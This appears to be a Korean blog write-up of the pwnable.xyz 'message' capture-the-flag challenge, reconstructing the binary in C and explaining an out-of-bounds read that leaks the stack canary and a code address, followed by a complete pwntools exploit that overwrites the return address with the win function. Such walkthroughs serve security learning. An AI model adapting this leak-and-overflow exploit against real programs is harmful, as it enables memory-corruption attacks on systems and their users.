🗂️ INDEX

글 작성자: Universe7202

 

 

pwnable.xyz 20번째 message 문제이다.

 

keyword: buffer overflow

keyword: canary leak

 

 


Analyze

ubuntu:~/environment/ctf/pwnable.xyz/20_message $ func challenge 
__libc_csu_fini
__libc_csu_init
_fini
_init
_start
get_choice
handler
main
print_menu
setup
win

 

gdb로 바이너리를 분석해서 c로 나타내면 아래와 같다.

#include <stdio.h>

void print_menu(){
    puts("Menu:\n1. Edit message.\n2. Print message.\n3. Admin?");
}

int get_choice(){
    char a = 1; // rbp-0x09     0x7fffffffe45f
    char b = 2; //              0x7fffffffe460
    char c = 3; //              0x7fffffffe461
    char d = 4; //              0x7fffffffe462
    char e = 5; //              0x7fffffffe463
    char f = 6; //              0x7fffffffe464
    char g = 7; //              0x7fffffffe465
    char h = 8; //              0x7fffffffe466
    char i = 9; //              0x7fffffffe467
    char j = 0; // rbp-0x12     0x7fffffffe468
    char k = getchar(); // // rbp-0x13
    getchar();
    
    int tmp = k;
    tmp -= 0x30;
    
    char tmp2 = (char)(rbp + tmp - 0x12); // rbp = 0x7fffffffe470
    
    return tmp2;
    
}

int main(){
    puts("Message taker.");
    printf("Message: ");
    scanf("%s", rbp-0x30); // 0x7fffffffe490
    getchar();
    
    while(1){
        print_menu();
        printf("> ");
        int select = get_choice();  // rbp-0x34
        
        if(select == 0)
            break;
        else if(select == 1){
            printf("Message: ");
            scanf("%s", rbp-0x30); // 0x7fffffffe490
            getchar();
        }
        else if(select == 2){
            printf("Your message: %s\n", rbp-0x30);
        }
        else if(select == 3){
            if(admin != 0){
                win();
            }
        }
        else{
            printf("Error: %d is not a valid option\n", rbp-0x34);
        }
    }

}

 

 

위 코드를 보면 scanf() 함수에서 입력 범위를 지정하지 않아 Overflow가 발생하게 된다.

또한 get_choice() 함수에서 사용자가 입력한 값을 기준으로 해당 주소의 값을 char 형 만큼 가져와 Return 한다.

이 값이 0~3 이 아니면 printf() 함수로 값을 출력하게 된다.

 

 

그렇다면 canary 값의 주소를 찾아서 get_choice() 함수에서 rbp 의 주소와 떨어진 거리를 계산하면

8번의 시도로 canary 값을 Leak 할 수 있다.

 

win 함수의 주소를 RET에 write 해야 하는데, PIE가 적용되어 있어 win 함수를 Leak 해야 한다.

방법은 get_choice+85에서 스택을 보면, 0x7fffffffe478의 값은 main+113 의 주소이다.

canary 값을 Leak 하는 것 처럼 똑같은 방법으로 main 함수를 Leak 한다.

   0x555555554a72 <get_choice+76>:      movsx  eax,BYTE PTR [rbp-0x13]
   0x555555554a76 <get_choice+80>:      sub    eax,0x30
   0x555555554a79 <get_choice+83>:      cdqe   
=> 0x555555554a7b <get_choice+85>:      movzx  eax,BYTE PTR [rbp+rax*1-0x12]
   0x555555554a80 <get_choice+90>:      movzx  eax,al
   0x555555554a83 <get_choice+93>:      mov    rdx,QWORD PTR [rbp-0x8]
   0x555555554a87 <get_choice+97>:      xor    rdx,QWORD PTR fs:0x28
   0x555555554a90 <get_choice+106>:     je     0x555555554a97 <get_choice+113>

gdb-peda$ x/24gx $rsp
0x7fffffffe450: 0x00007fffffffe470      0x0100745555554890
0x7fffffffe460: 0x0908070605040302      0xb09a639f30090100
0x7fffffffe470: 0x00007fffffffe4c0      0x0000555555554b30

 

 


Payload

from pwn import *

p = remote("svc.pwnable.xyz" ,"30017")

p.sendlineafter(": ", "AAAAAAAA")

count = 74
main_addr_113 = ""
for i in range(count, count+6):
    p.sendlineafter("> ", p8(i))
    p.recvuntil(": ")
    tmp = int(p.recvuntil(" ").replace(" ", ""))
    main_addr_113 =  hex(tmp)[2:].rjust(2, "0") + main_addr_113
    
main_addr_113 = "0x" + main_addr_113
print("[*] main_113 address + "+main_addr_113)
main_addr = int(main_addr_113, 16) - 113
win_addr = main_addr - 19

print("[*] main address + " + hex(main_addr))
print("[*] win address + " + hex(win_addr))

count = 139
canary = ""
for i in range(count, count+7):
    p.sendlineafter("> ", p8(i))
    p.recvuntil(": ")
    tmp = int(p.recvuntil(" ").replace(" ", ""))
    canary =  hex(tmp)[2:] + canary
    
canary = "0x" + canary + "00"
print("[*] canary value " + canary)
print("[*] win address + " + hex(win_addr))

payload = "A" * 40 + p64(int(canary,16)) + "A" * 8 + p64(win_addr)

p.sendlineafter("> ", "1")
p.sendlineafter(": ", payload)
p.sendlineafter("> ", "0")

p.interactive()

 

'🚩CTF' 카테고리의 다른 글

Aero 2020 CTF write up - aerofloat  (0) 2020.03.03
[pwnable.xyz] catalog write up  (0) 2020.02.28
[pwnable.xyz] rwsr write up  (0) 2020.02.25
[pwnable.xyz] bookmark write up  (0) 2020.02.25
[pwnable.xyz] uaf write up  (0) 2020.02.21